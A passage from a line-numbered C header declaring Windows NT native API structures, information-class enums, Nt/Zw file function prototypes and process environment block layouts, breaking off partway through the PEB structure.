_FILE_ALLOCATION_INFORMATION { 2045 | LARGE_INTEGER AllocationSize; 2046 | } FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; 2047 | 2048 | 2049 | typedef struct _FILE_END_OF_FILE_INFORMATION { 2050 | LARGE_INTEGER EndOfFile; 2051 | } FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; 2052 | 2053 | 2054 | typedef struct _FILE_STREAM_INFORMATION { 2055 | ULONG NextEntryOffset; 2056 | ULONG StreamNameLength; 2057 | LARGE_INTEGER StreamSize; 2058 | LARGE_INTEGER StreamAllocationSize; 2059 | WCHAR StreamName[1]; 2060 | } FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; 2061 | 2062 | typedef struct _FILE_PIPE_INFORMATION { 2063 | ULONG ReadMode; 2064 | ULONG CompletionMode; 2065 | } FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; 2066 | 2067 | 2068 | typedef struct _FILE_PIPE_LOCAL_INFORMATION { 2069 | ULONG NamedPipeType; 2070 | ULONG NamedPipeConfiguration; 2071 | ULONG MaximumInstances; 2072 | ULONG CurrentInstances; 2073 | ULONG InboundQuota; 2074 | ULONG ReadDataAvailable; 2075 | ULONG OutboundQuota; 2076 | ULONG WriteQuotaAvailable; 2077 | ULONG NamedPipeState; 2078 | ULONG NamedPipeEnd; 2079 | } FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; 2080 | 2081 | 2082 | typedef struct _FILE_PIPE_REMOTE_INFORMATION { 2083 | LARGE_INTEGER CollectDataTime; 2084 | ULONG MaximumCollectionCount; 2085 | } FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; 2086 | 2087 | 2088 | typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { 2089 | ULONG MaximumMessageSize; 2090 | ULONG MailslotQuota; 2091 | ULONG NextMessageSize; 2092 | ULONG MessagesAvailable; 2093 | LARGE_INTEGER ReadTimeout; 2094 | } FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; 2095 | 2096 | 2097 | typedef struct _FILE_MAILSLOT_SET_INFORMATION { 2098 | PLARGE_INTEGER ReadTimeout; 2099 | } FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; 2100 | 2101 | 2102 | typedef struct _FILE_COMPRESSION_INFORMATION { 2103 | LARGE_INTEGER CompressedFileSize; 2104 | USHORT CompressionFormat; 2105 | UCHAR CompressionUnitShift; 2106 | UCHAR ChunkShift; 2107 | UCHAR ClusterShift; 2108 | UCHAR Reserved[3]; 2109 | } FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; 2110 | 2111 | 2112 | typedef struct _FILE_LINK_INFORMATION { 2113 | BOOLEAN ReplaceIfExists; 2114 | HANDLE RootDirectory; 2115 | ULONG FileNameLength; 2116 | WCHAR FileName[1]; 2117 | } FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; 2118 | 2119 | 2120 | typedef struct _FILE_OBJECTID_INFORMATION 2121 | { 2122 | LONGLONG FileReference; 2123 | UCHAR ObjectId[16]; 2124 | union { 2125 | struct { 2126 | UCHAR BirthVolumeId[16]; 2127 | UCHAR BirthObjectId[16]; 2128 | UCHAR DomainId[16]; 2129 | } ; 2130 | UCHAR ExtendedInfo[48]; 2131 | }; 2132 | } FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; 2133 | 2134 | 2135 | typedef struct _FILE_COMPLETION_INFORMATION { 2136 | HANDLE Port; 2137 | PVOID Key; 2138 | } FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; 2139 | 2140 | 2141 | typedef struct _FILE_MOVE_CLUSTER_INFORMATION { 2142 | ULONG ClusterCount; 2143 | HANDLE RootDirectory; 2144 | ULONG FileNameLength; 2145 | WCHAR FileName[1]; 2146 | } FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; 2147 | 2148 | 2149 | typedef struct _FILE_NETWORK_OPEN_INFORMATION { 2150 | LARGE_INTEGER CreationTime; 2151 | LARGE_INTEGER LastAccessTime; 2152 | LARGE_INTEGER LastWriteTime; 2153 | LARGE_INTEGER ChangeTime; 2154 | LARGE_INTEGER AllocationSize; 2155 | LARGE_INTEGER EndOfFile; 2156 | ULONG FileAttributes; 2157 | } FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; 2158 | 2159 | 2160 | typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { 2161 | ULONG FileAttributes; 2162 | ULONG ReparseTag; 2163 | } FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; 2164 | 2165 | 2166 | typedef struct _FILE_TRACKING_INFORMATION { 2167 | HANDLE DestinationFile; 2168 | ULONG ObjectInformationLength; 2169 | CHAR ObjectInformation[1]; 2170 | } FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; 2171 | 2172 | 2173 | typedef struct _FILE_REPARSE_POINT_INFORMATION { 2174 | LONGLONG FileReference; 2175 | ULONG Tag; 2176 | } FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; 2177 | 2178 | 2179 | typedef struct _FILE_QUOTA_INFORMATION { 2180 | ULONG NextEntryOffset; 2181 | ULONG SidLength; 2182 | LARGE_INTEGER ChangeTime; 2183 | LARGE_INTEGER QuotaUsed; 2184 | LARGE_INTEGER QuotaThreshold; 2185 | LARGE_INTEGER QuotaLimit; 2186 | SID Sid; 2187 | } FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; 2188 | 2189 | 2190 | typedef struct _FILE_ID_BOTH_DIR_INFORMATION { 2191 | ULONG NextEntryOffset; 2192 | ULONG FileIndex; 2193 | LARGE_INTEGER CreationTime; 2194 | LARGE_INTEGER LastAccessTime; 2195 | LARGE_INTEGER LastWriteTime; 2196 | LARGE_INTEGER ChangeTime; 2197 | LARGE_INTEGER EndOfFile; 2198 | LARGE_INTEGER AllocationSize; 2199 | ULONG FileAttributes; 2200 | ULONG FileNameLength; 2201 | ULONG EaSize; 2202 | CCHAR ShortNameLength; 2203 | WCHAR ShortName[12]; 2204 | LARGE_INTEGER FileId; 2205 | WCHAR FileName[1]; 2206 | } FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; 2207 | 2208 | 2209 | typedef struct _FILE_ID_FULL_DIR_INFORMATION { 2210 | ULONG NextEntryOffset; 2211 | ULONG FileIndex; 2212 | LARGE_INTEGER CreationTime; 2213 | LARGE_INTEGER LastAccessTime; 2214 | LARGE_INTEGER LastWriteTime; 2215 | LARGE_INTEGER ChangeTime; 2216 | LARGE_INTEGER EndOfFile; 2217 | LARGE_INTEGER AllocationSize; 2218 | ULONG FileAttributes; 2219 | ULONG FileNameLength; 2220 | ULONG EaSize; 2221 | LARGE_INTEGER FileId; 2222 | WCHAR FileName[1]; 2223 | } FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; 2224 | 2225 | 2226 | typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { 2227 | LARGE_INTEGER ValidDataLength; 2228 | } FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; 2229 | 2230 | typedef struct _FILE_LINK_ENTRY_INFORMATION { 2231 | ULONG NextEntryOffset; 2232 | LONGLONG ParentFileId; 2233 | ULONG FileNameLength; 2234 | WCHAR FileName[1]; 2235 | } FILE_LINK_ENTRY_INFORMATION, *PFILE_LINK_ENTRY_INFORMATION; 2236 | 2237 | typedef struct _FILE_LINKS_INFORMATION { 2238 | ULONG BytesNeeded; 2239 | ULONG EntriesReturned; 2240 | FILE_LINK_ENTRY_INFORMATION Entry; 2241 | } FILE_LINKS_INFORMATION, *PFILE_LINKS_INFORMATION; 2242 | 2243 | 2244 | 2245 | typedef enum _FSINFOCLASS { 2246 | FileFsVolumeInformation = 1, 2247 | FileFsLabelInformation, // 2 2248 | FileFsSizeInformation, // 3 2249 | FileFsDeviceInformation, // 4 2250 | FileFsAttributeInformation, // 5 2251 | FileFsControlInformation, // 6 2252 | FileFsFullSizeInformation, // 7 2253 | FileFsObjectIdInformation, // 8 2254 | FileFsDriverPathInformation, // 9 2255 | FileFsMaximumInformation 2256 | } FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; 2257 | 2258 | 2259 | NTSYSAPI 2260 | NTSTATUS 2261 | NTAPI 2262 | NtCreateFile( 2263 | OUT PHANDLE FileHandle, 2264 | IN ACCESS_MASK DesiredAccess, 2265 | IN POBJECT_ATTRIBUTES ObjectAttributes, 2266 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2267 | IN PLARGE_INTEGER AllocationSize, 2268 | IN ULONG FileAttributes, 2269 | IN ULONG ShareAccess, 2270 | IN ULONG CreateDisposition, 2271 | IN ULONG CreateOptions, 2272 | IN PVOID EaBuffer, 2273 | IN ULONG EaLength); 2274 | 2275 | 2276 | NTSYSAPI 2277 | NTSTATUS 2278 | NTAPI 2279 | ZwCreateFile( 2280 | OUT PHANDLE FileHandle, 2281 | IN ACCESS_MASK DesiredAccess, 2282 | IN POBJECT_ATTRIBUTES ObjectAttributes, 2283 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2284 | IN PLARGE_INTEGER AllocationSize, 2285 | IN ULONG FileAttributes, 2286 | IN ULONG ShareAccess, 2287 | IN ULONG CreateDisposition, 2288 | IN ULONG CreateOptions, 2289 | IN PVOID EaBuffer, 2290 | IN ULONG EaLength); 2291 | 2292 | 2293 | NTSYSAPI 2294 | NTSTATUS 2295 | NTAPI 2296 | NtOpenFile( 2297 | OUT PHANDLE FileHandle, 2298 | IN ACCESS_MASK DesiredAccess, 2299 | IN POBJECT_ATTRIBUTES ObjectAttributes, 2300 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2301 | IN ULONG ShareAccess, 2302 | IN ULONG OpenOptions 2303 | ); 2304 | 2305 | 2306 | NTSYSAPI 2307 | NTSTATUS 2308 | NTAPI 2309 | ZwOpenFile( 2310 | OUT PHANDLE FileHandle, 2311 | IN ACCESS_MASK DesiredAccess, 2312 | IN POBJECT_ATTRIBUTES ObjectAttributes, 2313 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2314 | IN ULONG ShareAccess, 2315 | IN ULONG OpenOptions 2316 | ); 2317 | 2318 | 2319 | NTSYSAPI 2320 | NTSTATUS 2321 | NTAPI 2322 | NtQueryInformationFile( 2323 | IN HANDLE FileHandle, 2324 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2325 | OUT PVOID FileInformation, 2326 | IN ULONG Length, 2327 | IN FILE_INFORMATION_CLASS FileInformationClass 2328 | ); 2329 | 2330 | 2331 | NTSYSAPI 2332 | NTSTATUS 2333 | NTAPI 2334 | ZwQueryInformationFile( 2335 | IN HANDLE FileHandle, 2336 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2337 | OUT PVOID FileInformation, 2338 | IN ULONG Length, 2339 | IN FILE_INFORMATION_CLASS FileInformationClass 2340 | ); 2341 | 2342 | 2343 | NTSYSAPI 2344 | NTSTATUS 2345 | NTAPI 2346 | NtQueryDirectoryFile( 2347 | IN HANDLE FileHandle, 2348 | IN HANDLE Event OPTIONAL, 2349 | IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, 2350 | IN PVOID ApcContext OPTIONAL, 2351 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2352 | OUT PVOID FileInformation, 2353 | IN ULONG Length, 2354 | IN FILE_INFORMATION_CLASS FileInformationClass, 2355 | IN BOOLEAN ReturnSingleEntry, 2356 | IN PUNICODE_STRING FileName OPTIONAL, 2357 | IN BOOLEAN RestartScan 2358 | ); 2359 | 2360 | 2361 | NTSYSAPI 2362 | NTSTATUS 2363 | NTAPI 2364 | ZwQueryDirectoryFile( 2365 | IN HANDLE FileHandle, 2366 | IN HANDLE Event OPTIONAL, 2367 | IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, 2368 | IN PVOID ApcContext OPTIONAL, 2369 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2370 | OUT PVOID FileInformation, 2371 | IN ULONG Length, 2372 | IN FILE_INFORMATION_CLASS FileInformationClass, 2373 | IN BOOLEAN ReturnSingleEntry, 2374 | IN PUNICODE_STRING FileName OPTIONAL, 2375 | IN BOOLEAN RestartScan 2376 | ); 2377 | 2378 | 2379 | NTSYSAPI 2380 | NTSTATUS 2381 | NTAPI 2382 | NtQueryVolumeInformationFile( 2383 | IN HANDLE FileHandle, 2384 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2385 | OUT PVOID FsInformation, 2386 | IN ULONG Length, 2387 | IN FS_INFORMATION_CLASS FsInformationClass 2388 | ); 2389 | 2390 | 2391 | NTSYSAPI 2392 | NTSTATUS 2393 | NTAPI 2394 | ZwQueryVolumeInformationFile( 2395 | IN HANDLE FileHandle, 2396 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2397 | OUT PVOID FsInformation, 2398 | IN ULONG Length, 2399 | IN FS_INFORMATION_CLASS FsInformationClass 2400 | ); 2401 | 2402 | 2403 | NTSYSAPI 2404 | NTSTATUS 2405 | NTAPI 2406 | NtSetInformationFile( 2407 | IN HANDLE FileHandle, 2408 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2409 | IN PVOID FileInformation, 2410 | IN ULONG Length, 2411 | IN FILE_INFORMATION_CLASS FileInformationClass 2412 | ); 2413 | 2414 | 2415 | NTSYSAPI 2416 | NTSTATUS 2417 | NTAPI 2418 | ZwSetInformationFile( 2419 | IN HANDLE FileHandle, 2420 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2421 | IN PVOID FileInformation, 2422 | IN ULONG Length, 2423 | IN FILE_INFORMATION_CLASS FileInformationClass 2424 | ); 2425 | 2426 | 2427 | NTSYSAPI 2428 | NTSTATUS 2429 | NTAPI 2430 | NtQueryEaFile( 2431 | IN HANDLE FileHandle, 2432 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2433 | OUT PVOID Buffer, 2434 | IN ULONG Length, 2435 | IN BOOLEAN ReturnSingleEntry, 2436 | IN PVOID EaList OPTIONAL, 2437 | IN ULONG EaListLength, 2438 | IN PULONG EaIndex OPTIONAL, 2439 | IN BOOLEAN RestartScan); 2440 | 2441 | 2442 | NTSYSAPI 2443 | NTSTATUS 2444 | NTAPI 2445 | ZwQueryEaFile( 2446 | IN HANDLE FileHandle, 2447 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2448 | OUT PVOID Buffer, 2449 | IN ULONG Length, 2450 | IN BOOLEAN ReturnSingleEntry, 2451 | IN PVOID EaList OPTIONAL, 2452 | IN ULONG EaListLength, 2453 | IN PULONG EaIndex OPTIONAL, 2454 | IN BOOLEAN RestartScan); 2455 | 2456 | 2457 | NTSYSAPI 2458 | NTSTATUS 2459 | NTAPI 2460 | NtSetEaFile( 2461 | IN HANDLE FileHandle, 2462 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2463 | IN PVOID Buffer, 2464 | IN ULONG Length); 2465 | 2466 | 2467 | NTSYSAPI 2468 | NTSTATUS 2469 | NTAPI 2470 | ZwSetEaFile( 2471 | IN HANDLE FileHandle, 2472 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2473 | IN PVOID Buffer, 2474 | IN ULONG Length); 2475 | 2476 | 2477 | NTSYSAPI 2478 | NTSTATUS 2479 | NTAPI 2480 | NtReadFile( 2481 | IN HANDLE FileHandle, 2482 | IN HANDLE Event OPTIONAL, 2483 | IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, 2484 | IN PVOID ApcContext OPTIONAL, 2485 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2486 | OUT PVOID Buffer, 2487 | IN ULONG Length, 2488 | IN PLARGE_INTEGER ByteOffset OPTIONAL, 2489 | IN PULONG Key OPTIONAL 2490 | ); 2491 | 2492 | 2493 | NTSYSAPI 2494 | NTSTATUS 2495 | NTAPI 2496 | ZwReadFile( 2497 | IN HANDLE FileHandle, 2498 | IN HANDLE Event OPTIONAL, 2499 | IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, 2500 | IN PVOID ApcContext OPTIONAL, 2501 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2502 | OUT PVOID Buffer, 2503 | IN ULONG Length, 2504 | IN PLARGE_INTEGER ByteOffset OPTIONAL, 2505 | IN PULONG Key OPTIONAL 2506 | ); 2507 | 2508 | 2509 | NTSYSAPI 2510 | NTSTATUS 2511 | NTAPI 2512 | NtWriteFile( 2513 | IN HANDLE FileHandle, 2514 | IN HANDLE Event OPTIONAL, 2515 | IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, 2516 | IN PVOID ApcContext OPTIONAL, 2517 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2518 | IN PVOID Buffer, 2519 | IN ULONG Length, 2520 | IN PLARGE_INTEGER ByteOffset OPTIONAL, 2521 | IN PULONG Key OPTIONAL 2522 | ); 2523 | 2524 | 2525 | NTSYSAPI 2526 | NTSTATUS 2527 | NTAPI 2528 | ZwWriteFile( 2529 | IN HANDLE FileHandle, 2530 | IN HANDLE Event OPTIONAL, 2531 | IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, 2532 | IN PVOID ApcContext OPTIONAL, 2533 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2534 | IN PVOID Buffer, 2535 | IN ULONG Length, 2536 | IN PLARGE_INTEGER ByteOffset OPTIONAL, 2537 | IN PULONG Key OPTIONAL 2538 | ); 2539 | 2540 | 2541 | NTSYSAPI 2542 | NTSTATUS 2543 | NTAPI 2544 | NtDeleteFile( 2545 | IN POBJECT_ATTRIBUTES ObjectAttributes 2546 | ); 2547 | 2548 | 2549 | NTSYSAPI 2550 | NTSTATUS 2551 | NTAPI 2552 | ZwDeleteFile( 2553 | IN POBJECT_ATTRIBUTES ObjectAttributes 2554 | ); 2555 | 2556 | 2557 | NTSYSAPI 2558 | NTSTATUS 2559 | NTAPI 2560 | NtFlushBuffersFile( 2561 | IN HANDLE FileHandle, 2562 | OUT PIO_STATUS_BLOCK IoStatusBlock 2563 | ); 2564 | 2565 | 2566 | NTSYSAPI 2567 | NTSTATUS 2568 | NTAPI 2569 | ZwFlushBuffersFile( 2570 | IN HANDLE FileHandle, 2571 | OUT PIO_STATUS_BLOCK IoStatusBlock 2572 | ); 2573 | 2574 | 2575 | NTSYSAPI 2576 | NTSTATUS 2577 | NTAPI 2578 | NtDeviceIoControlFile( 2579 | IN HANDLE FileHandle, 2580 | IN HANDLE Event, 2581 | IN PIO_APC_ROUTINE ApcRoutine, 2582 | IN PVOID ApcContext, 2583 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2584 | IN ULONG IoControlCode, 2585 | IN PVOID InputBuffer, 2586 | IN ULONG InputBufferLength, 2587 | IN PVOID OutputBuffer, 2588 | IN ULONG OutputBufferLength 2589 | ); 2590 | 2591 | 2592 | NTSYSAPI 2593 | NTSTATUS 2594 | NTAPI 2595 | ZwDeviceIoControlFile( 2596 | IN HANDLE FileHandle, 2597 | IN HANDLE Event, 2598 | IN PIO_APC_ROUTINE ApcRoutine, 2599 | IN PVOID ApcContext, 2600 | OUT PIO_STATUS_BLOCK IoStatusBlock, 2601 | IN ULONG IoControlCode, 2602 | IN PVOID InputBuffer, 2603 | IN ULONG InputBufferLength, 2604 | IN PVOID OutputBuffer, 2605 | IN ULONG OutputBufferLength 2606 | ); 2607 | 2608 | 2609 | NTSYSAPI 2610 | NTSTATUS 2611 | NTAPI 2612 | NtCancelIoFile( 2613 | IN HANDLE Filehandle, 2614 | OUT PIO_STATUS_BLOCK IoStatusBlock 2615 | ); 2616 | 2617 | 2618 | NTSYSAPI 2619 | NTSTATUS 2620 | NTAPI 2621 | ZwCancelIoFile( 2622 | IN HANDLE Filehandle, 2623 | OUT PIO_STATUS_BLOCK IoStatusBlock 2624 | ); 2625 | 2626 | 2627 | NTSYSAPI 2628 | BOOLEAN 2629 | NTAPI 2630 | RtlDosPathNameToNtPathName_U ( 2631 | IN PWSTR DosPathName, 2632 | OUT PUNICODE_STRING NtPathName, 2633 | OUT PWSTR * NtFileNamePart OPTIONAL, 2634 | OUT PCURDIR DirectoryInfo OPTIONAL 2635 | ); 2636 | 2637 | 2638 | //----------------------------------------------------------------------------- 2639 | // Process functions 2640 | 2641 | #define GDI_HANDLE_BUFFER_SIZE 34 2642 | 2643 | // 2644 | // Process Information Classes 2645 | // 2646 | 2647 | typedef enum _PROCESSINFOCLASS { 2648 | ProcessBasicInformation, 2649 | ProcessQuotaLimits, 2650 | ProcessIoCounters, 2651 | ProcessVmCounters, 2652 | ProcessTimes, 2653 | ProcessBasePriority, 2654 | ProcessRaisePriority, 2655 | ProcessDebugPort, 2656 | ProcessExceptionPort, 2657 | ProcessAccessToken, 2658 | ProcessLdtInformation, 2659 | ProcessLdtSize, 2660 | ProcessDefaultHardErrorMode, 2661 | ProcessIoPortHandlers, // Note: this is kernel mode only 2662 | ProcessPooledUsageAndLimits, 2663 | ProcessWorkingSetWatch, 2664 | ProcessUserModeIOPL, 2665 | ProcessEnableAlignmentFaultFixup, 2666 | ProcessPriorityClass, 2667 | ProcessWx86Information, 2668 | ProcessHandleCount, 2669 | ProcessAffinityMask, 2670 | ProcessPriorityBoost, 2671 | ProcessDeviceMap, 2672 | ProcessSessionInformation, 2673 | ProcessForegroundInformation, 2674 | ProcessWow64Information, 2675 | ProcessImageFileName, 2676 | ProcessLUIDDeviceMapsEnabled, 2677 | ProcessBreakOnTermination, 2678 | ProcessDebugObjectHandle, 2679 | ProcessDebugFlags, 2680 | ProcessHandleTracing, 2681 | MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum 2682 | } PROCESSINFOCLASS; 2683 | 2684 | // 2685 | // Thread Information Classes 2686 | // 2687 | typedef enum _THREADINFOCLASS 2688 | { 2689 | ThreadBasicInformation, 2690 | ThreadTimes, 2691 | ThreadPriority, 2692 | ThreadBasePriority, 2693 | ThreadAffinityMask, 2694 | ThreadImpersonationToken, // HANDLE 2695 | ThreadDescriptorTableEntry, // ULONG Selector + LDT_ENTRY 2696 | ThreadEnableAlignmentFaultFixup, 2697 | ThreadEventPair, 2698 | ThreadQuerySetWin32StartAddress, 2699 | ThreadZeroTlsCell, 2700 | ThreadPerformanceCount, 2701 | ThreadAmILastThread, 2702 | ThreadIdealProcessor, 2703 | ThreadPriorityBoost, 2704 | ThreadSetTlsArrayAddress, // 2705 | ThreadIsIoPending, 2706 | ThreadHideFromDebugger, 2707 | ThreadBreakOnTermination, 2708 | ThreadSwitchLegacyState, 2709 | ThreadIsTerminated, 2710 | ThreadLastSystemCall, 2711 | ThreadIoPriority, 2712 | ThreadCycleTime, 2713 | ThreadPagePriority, 2714 | ThreadActualBasePriority, 2715 | ThreadTebInformation, 2716 | ThreadCSwitchMon, 2717 | ThreadCSwitchPmu, 2718 | ThreadWow64Context, 2719 | ThreadGroupInformation, 2720 | ThreadUmsInformation, 2721 | ThreadCounterProfiling, 2722 | ThreadIdealProcessorEx, 2723 | ThreadCpuAccountingInformation, 2724 | ThreadSuspendCount, 2725 | ThreadHeterogeneousCpuPolicy, 2726 | ThreadContainerId, 2727 | ThreadNameInformation, 2728 | ThreadSelectedCpuSets, 2729 | ThreadSystemThreadInformation, 2730 | ThreadActualGroupAffinity, 2731 | ThreadDynamicCodePolicyInfo, 2732 | ThreadExplicitCaseSensitivity, 2733 | ThreadWorkOnBehalfTicket, 2734 | ThreadSubsystemInformation, 2735 | ThreadDbgkWerReportActive, 2736 | ThreadAttachContainer, 2737 | ThreadManageWritesToExecutableMemory, 2738 | ThreadPowerThrottlingState, 2739 | ThreadWorkloadClass, 2740 | ThreadCreateStateChange, 2741 | ThreadApplyStateChange, 2742 | ThreadStrongerBadHandleChecks, 2743 | ThreadEffectiveIoPriority, 2744 | ThreadEffectivePagePriority, 2745 | MaxThreadInfoClass 2746 | } THREADINFOCLASS; 2747 | 2748 | 2749 | typedef struct _RTL_DRIVE_LETTER_CURDIR 2750 | { 2751 | USHORT Flags; 2752 | USHORT Length; 2753 | ULONG TimeStamp; 2754 | STRING DosPath; 2755 | 2756 | } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; 2757 | 2758 | 2759 | typedef struct _RTL_USER_PROCESS_PARAMETERS 2760 | { 2761 | ULONG MaximumLength; // Should be set before call RtlCreateProcessParameters 2762 | ULONG Length; // Length of valid structure 2763 | ULONG Flags; // Currently only PPF_NORMALIZED (1) is known: 2764 | // - Means that structure is normalized by call RtlNormalizeProcessParameters 2765 | ULONG DebugFlags; 2766 | 2767 | PVOID ConsoleHandle; // HWND to console window associated with process (if any). 2768 | ULONG ConsoleFlags; 2769 | HANDLE StandardInput; 2770 | HANDLE StandardOutput; 2771 | HANDLE StandardError; 2772 | 2773 | CURDIR CurrentDirectory; // Specified in DOS-like symbolic link path, ex: "C:/WinNT/SYSTEM32" 2774 | UNICODE_STRING DllPath; // DOS-like paths separated by ';' where system should search for DLL files. 2775 | UNICODE_STRING ImagePathName; // Full path in DOS-like format to process'es file image. 2776 | UNICODE_STRING CommandLine; // Command line 2777 | PVOID Environment; // Pointer to environment block (see RtlCreateEnvironment) 2778 | ULONG StartingX; 2779 | ULONG StartingY; 2780 | ULONG CountX; 2781 | ULONG CountY; 2782 | ULONG CountCharsX; 2783 | ULONG CountCharsY; 2784 | ULONG FillAttribute; // Fill attribute for console window 2785 | ULONG WindowFlags; 2786 | ULONG ShowWindowFlags; 2787 | UNICODE_STRING WindowTitle; 2788 | UNICODE_STRING DesktopInfo; // Name of WindowStation and Desktop objects, where process is assigned 2789 | UNICODE_STRING ShellInfo; 2790 | UNICODE_STRING RuntimeData; 2791 | RTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20]; 2792 | ULONG EnvironmentSize; 2793 | } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; 2794 | 2795 | // 2796 | // Process Environment Block 2797 | // 2798 | 2799 | typedef struct _PEB_FREE_BLOCK 2800 | { 2801 | struct _PEB_FREE_BLOCK *Next; 2802 | ULONG Size; 2803 | 2804 | } PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; 2805 | 2806 | 2807 | typedef struct _PEB_LDR_DATA 2808 | { 2809 | ULONG Length; 2810 | BOOLEAN Initialized; 2811 | HANDLE SsHandle; 2812 | LIST_ENTRY InLoadOrderModuleList; // Points to the loaded modules (main EXE usually) 2813 | LIST_ENTRY InMemoryOrderModuleList; // Points to all modules (EXE and all DLLs) 2814 | LIST_ENTRY InInitializationOrderModuleList; 2815 | PVOID EntryInProgress; 2816 | 2817 | } PEB_LDR_DATA, *PPEB_LDR_DATA; 2818 | 2819 | 2820 | typedef struct _LDR_DATA_TABLE_ENTRY 2821 | { 2822 | LIST_ENTRY InLoadOrderLinks; 2823 | LIST_ENTRY InMemoryOrderLinks; 2824 | LIST_ENTRY InInitializationOrderLinks; 2825 | PVOID DllBase; // Base address of the module 2826 | PVOID EntryPoint; 2827 | ULONG SizeOfImage; 2828 | UNICODE_STRING FullDllName; 2829 | UNICODE_STRING BaseDllName; 2830 | ULONG Flags; 2831 | USHORT LoadCount; 2832 | USHORT TlsIndex; 2833 | LIST_ENTRY HashLinks; 2834 | PVOID SectionPointer; 2835 | ULONG CheckSum; 2836 | ULONG TimeDateStamp; 2837 | PVOID LoadedImports; 2838 | PVOID EntryPointActivationContext; 2839 | PVOID PatchInformation; 2840 | PVOID Unknown1; 2841 | PVOID Unknown2; 2842 | PVOID Unknown3; 2843 | 2844 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 2845 | 2846 | 2847 | typedef struct _PEB 2848 | { 2849 | BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the 2850 | BOOLEAN ReadImageFileExecOptions; // 2851 | BOOLEAN BeingDebugged; // 2852 | BOOLEAN SpareBool; // 2853 | HANDLE Mutant; // INITIAL_PEB structure is also updated. 2854 | 2855 | PVOID ImageBaseAddress; 2856 | PPEB_LDR_DATA Ldr; 2857 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 2858 | PVOID SubSystemData; 2859 | PVOID ProcessHeap; 2860 | PRTL_CRITICAL_SECTION FastPebLock; 2861 | PVOID FastPebLockRoutine; 2862 | PVOID FastPebUnlockRoutine; 2863 | ULONG EnvironmentUpdateCount; 2864 | PVOID KernelCallbackTable; 2865 | HANDLE SystemReserved; 2866 | PVOID AtlThunkSListPtr32; 2867 | PPEB_FREE_BLOCK FreeList; 2868 | ULONG TlsExpansionCounter; 2869 | PVOID TlsBitmap; 2870 | ULONG TlsBitmapBits[2]; // relates to TLS_MINIMUM_AVAILABLE 2871 | PVOID ReadOnlySharedMemoryBase; 2872 | PVOID ReadOnlySharedMemoryHeap; 2873 | PVOID *ReadOnlyStaticServerData; 2874 | PVOID AnsiCodePageData; 2875 | PVOID OemCodePageData; 2876 | PVOID UnicodeCaseTableData; 2877 | 2878 | // 2879 | // Useful information for LdrpInitialize 2880 | 2881 | ULONG NumberOfProcessors; 2882 | ULONG NtGlobalFlag; 2883 | 2884 | // 2885 | // Passed up from MmCreatePeb from Session Manager registry key 2886 | // 2887 | 2888 | LARGE_INTEGER CriticalSectionTimeout; 2889 | ULONG HeapSegmentReserve; 2890 | ULONG HeapSegmentCommit; 2891 | ULONG HeapDeCommitTotalFreeThreshold; 2892 | ULONG HeapDeCommitFreeBlockThreshold; 